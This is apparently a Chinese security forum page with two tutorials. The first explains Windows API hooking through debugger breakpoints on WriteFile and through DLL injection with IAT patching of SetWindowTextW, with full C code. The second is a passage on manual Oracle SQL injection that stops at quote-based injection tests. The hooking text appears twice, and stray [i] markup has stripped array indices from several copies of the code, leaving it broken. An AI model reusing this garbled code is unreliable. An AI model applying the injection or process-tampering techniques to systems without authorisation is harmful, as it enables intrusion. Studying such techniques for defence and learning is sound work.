API 钩取

snow 发表了文章 • 1 个评论 • 154 次浏览 • 2019-08-12 20:17 • 来自相关话题

 
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
 
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。 
IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。

如何向目标进程设置钩取函数:
调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。注入法
 
调试法:
 
伪代码Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}

DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:


CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)


EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)


EXIT_PROCESS_DEBUG_EVENT //终止调试
break


}
}


OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点

}


OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
} #include "windows.h"
#include "stdio.h"

LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;

BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}

BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);

// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}

void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}

int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}
 
注入法 
      之
     通过 DLL 注入修改 IAT 来进行 API 钩取
 
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
 
难点1:选定目标 API。
 
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
 
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
  BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);





 
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
 
到此为止,我们的目的总共有 3 个。
将 DLL 注入进目标进程。替换目标进程 IAT 中的 API 地址。将阿拉伯数字跟改为中文数字。



0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
 
0x2: 如何替换 API 地址?
找到目标 API 在 IAT 中的存储地址。得到我们的函数的地址。进行替换。
  0x2.1:如何找到目标 API 在 IAT 中的存储地址
找到内存中导入表地址。遍历 IID,找到目标 DLL 对应的 IID。遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。
  具体实现://参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;

//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);

//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);

//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);

pThunk->u1.Function = (DWORD64)pfnNew;

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
    
 
0x3:将阿拉伯数字更换为中文数字     BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]

[i][i][i] DLL 全部的代码:[/i][/i][/i][i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"

// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);

// globals
FARPROC g_pOrgFunc = NULL;


BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"零一二三四五六七八九";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;
    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        if( L'0' <= lpString && lpString <= L'9' )
        {
            temp[0] = lpString;
            nIndex = _wtoi(temp);
            lpString = pNum[nIndex];
        }
    }
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
        HMODULE hMod;
        LPCSTR szLibName;
        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
        PIMAGE_THUNK_DATA pThunk;
        DWORD dwOldProtect, dwRVA;
        PBYTE pAddr;
        hMod = GetModuleHandle(NULL);
        pAddr = (PBYTE)hMod;
        pAddr += *((DWORD*)&pAddr[0x3C]);
        dwRVA = *((DWORD*)&pAddr[0x90]);
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
        for( ; pImportDesc->Name; pImportDesc++ )
        {
               //szLibName 是IID的名字
               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
               if( !_stricmp(szLibName, szDllName) )
               {
                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
                                         pImportDesc->FirstThunk);
                       for( ; pThunk->u1.Function; pThunk++ )
                       {
                              if( pThunk->u1.Function == (DWORD64)pfnOrg )
                              {
                     
                                      VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   PAGE_EXECUTE_READWRITE,
                                   &dwOldProtect);
                    pThunk->u1.Function = (DWORD64)pfnNew;
                                      
                    VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   dwOldProtect,
                                   &dwOldProtect);                                        
                                      return TRUE;
                              }
                       }
               }
        }
        return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        switch( fdwReason )
        {
               case DLL_PROCESS_ATTACH :          
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
                                        "SetWindowTextW");
                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
                       break;
               case DLL_PROCESS_DETACH :
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
                       break;
        }
        return TRUE;
}
[/i][/i][/i][/i] 查看全部
 
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
 
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。 
  1. IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。
  2. 代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。
  3. EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。


如何向目标进程设置钩取函数:
  1. 调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。
  2. 注入法

 
调试法:
 
伪代码
Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}

DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:


CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)


EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)


EXIT_PROCESS_DEBUG_EVENT //终止调试
break


}
}


OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点

}


OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
}
 
#include "windows.h"
#include "stdio.h"

LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;

BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}

BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);

// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}

void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}

int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}

 
注入法 
      之
     通过 DLL 注入修改 IAT 来进行 API 钩取

 
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
 
难点1:选定目标 API。
 
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
 
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
  
BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);





 
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
 
到此为止,我们的目的总共有 3 个。
  1. 将 DLL 注入进目标进程。
  2. 替换目标进程 IAT 中的 API 地址。
  3. 将阿拉伯数字跟改为中文数字。




0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
 
0x2: 如何替换 API 地址?
  1. 找到目标 API 在 IAT 中的存储地址。
  2. 得到我们的函数的地址。
  3. 进行替换。

  0x2.1:如何找到目标 API 在 IAT 中的存储地址
  1. 找到内存中导入表地址。
  2. 遍历 IID,找到目标 DLL 对应的 IID。
  3. 遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。

  具体实现:
//参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;

//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);

//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);

//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);

pThunk->u1.Function = (DWORD64)pfnNew;

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}

    
 
0x3:将阿拉伯数字更换为中文数字     
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]


[i][i][i] DLL 全部的代码:[/i][/i][/i]
[i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"

// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);

// globals
FARPROC g_pOrgFunc = NULL;


BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"零一二三四五六七八九";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;
    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        if( L'0' <= lpString && lpString <= L'9' )
        {
            temp[0] = lpString;
            nIndex = _wtoi(temp);
            lpString = pNum[nIndex];
        }
    }
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
        HMODULE hMod;
        LPCSTR szLibName;
        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
        PIMAGE_THUNK_DATA pThunk;
        DWORD dwOldProtect, dwRVA;
        PBYTE pAddr;
        hMod = GetModuleHandle(NULL);
        pAddr = (PBYTE)hMod;
        pAddr += *((DWORD*)&pAddr[0x3C]);
        dwRVA = *((DWORD*)&pAddr[0x90]);
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
        for( ; pImportDesc->Name; pImportDesc++ )
        {
               //szLibName 是IID的名字
               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
               if( !_stricmp(szLibName, szDllName) )
               {
                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
                                         pImportDesc->FirstThunk);
                       for( ; pThunk->u1.Function; pThunk++ )
                       {
                              if( pThunk->u1.Function == (DWORD64)pfnOrg )
                              {
                     
                                      VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   PAGE_EXECUTE_READWRITE,
                                   &dwOldProtect);
                    pThunk->u1.Function = (DWORD64)pfnNew;
                                      
                    VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   dwOldProtect,
                                   &dwOldProtect);                                        
                                      return TRUE;
                              }
                       }
               }
        }
        return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        switch( fdwReason )
        {
               case DLL_PROCESS_ATTACH :          
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
                                        "SetWindowTextW");
                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
                       break;
               case DLL_PROCESS_DETACH :
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
                       break;
        }
        return TRUE;
}
[/i][/i][/i][/i]

Oracle数据库手注

数据库SQL语言fireant 发表了文章 • 1 个评论 • 220 次浏览 • 2019-07-09 16:31 • 来自相关话题

0x00前言
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
 
0x01环境
服务器:win server 2008中间件:IIS7.0数据库:Oracle Database 18c企业版版本18.0.0.0.0前端语言:ASP
 
 
0x02Oracle数据库基础
一、Oracle数据库操作
1、创建数据库create database databasename
2、删除数据库drop database dbname
3、备份数据库* 完全备份
exp demo/demo@orcl buffer=1024 file=d:\back.dmp full=y
demo:用户名、密码
buffer: 缓存大小
file: 具体的备份文件地址
full: 是否导出全部文件
ignore: 忽略错误,如果表已经存在,则也是覆盖
* 将数据库中system用户与sys用户的表导出
exp demo/demo@orcl file=d:\backup\1.dmp owner=(system,sys)
* 导出指定的表
exp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 按过滤条件,导出
exp demo/demo@orcl file=d:\back.dmp tables=(table1) query=\" where filed1 like 'fg%'\"
导出时可以进行压缩;命令后面 加上 compress=y ;如果需要日志,后面: log=d:\log.txt
* 备份远程服务器的数据库
exp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y
 4、数据库还原打开cmd直接执行如下命令,不用再登陆sqlplus。
* 完整还原
imp demo/demo@orcl file=d:\back.dmp full=y ignore=y log=D:\implog.txt
指定log很重要,便于分析错误进行补救。
* 导入指定表
imp demo/demo@orcl file=d:\backup2.dmp tables=(teachers,students)
* 还原到远程服务器
imp 用户名/密码@远程的IP:端口/实例 file=存放的位置:\文件名称.dmp full=y











二、Oracle表操作
1、创建表create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:select * into table_new from table_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle>
2、删除表drop table tabname
3、重命名表 说明:alter table 表名 rename to 新表名
eg:alter table tablename rename to newtablename
4、增加字段说明:alter table 表名 add (字段名 字段类型 默认值 是否为空);
例:alter table tablename add (ID int);
eg:alter table tablename add (ID varchar2(30) default '空' not null);
5、修改字段说明:alter table 表名 modify (字段名 字段类型 默认值 是否为空);
eg:alter table tablename modify (ID number(4));
6、重名字段说明:alter table 表名 rename column 列名 to 新列名 (其中:column是关键字)
eg:alter table tablename rename column ID to newID;
7、删除字段
  说明:alter table 表名 drop column 字段名;
eg:alter table tablename drop column ID;
8、添加主键alter table tabname add primary key(col)
9、删除主键alter table tabname drop primary key(col)
10、创建索引create [unique] index idxname on tabname(col….)
11、删除索引
  drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
12、创建视图create view viewname as select statement
13、删除视图drop view viewname
三、Oracle操作数据
1、数据查询select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
2、插入数据insert into 表名 values(所有列的值);
eg: insert into test values(1,'zhangsan',20);

insert into 表名(列) values(对应的值);
eg: insert into test(id,name) values(2,'lisi');
3、更新数据update 表 set 列=新的值 [where 条件] -->更新满足条件的记录
eg: update test set name='zhangsan2' where name='zhangsan'

update 表 set 列=新的值 -->更新所有的数据
eg: update test set age =20;
4、删除数据* delete from 表名 where 条件 -->删除满足条件的记录
delete from test where id = 1;
delete from test -->删除所有
commit; -->提交数据
rollback; -->回滚数据
delete方式可以恢复删除的数据,但是提交了,就没办法了 delete删除的时候,会记录日志 -->删除会很慢很慢
* truncate table 表名
删除所有数据,不会影响表结构,不会记录日志,数据不能恢复 -->删除很快
* drop table 表名
删除所有数据,包括表结构一并删除,不会记录日志,数据不能恢复-->删除很快
5、数据复制* 表数据复制
insert into table1 (select * from table2);
* 复制表结构
create table table1 select * from table2 where 1>1;
* 复制表结构和数据
create table table1 select * from table2;
* 复制指定字段
create table table1 as select id, name from table2 where 1>1; 
 
0x03判断注入点
1.判断注入点类型(同MYSQL注入)




'错误显示
' and 1=1 --显示错误
and 1=1 显示正常
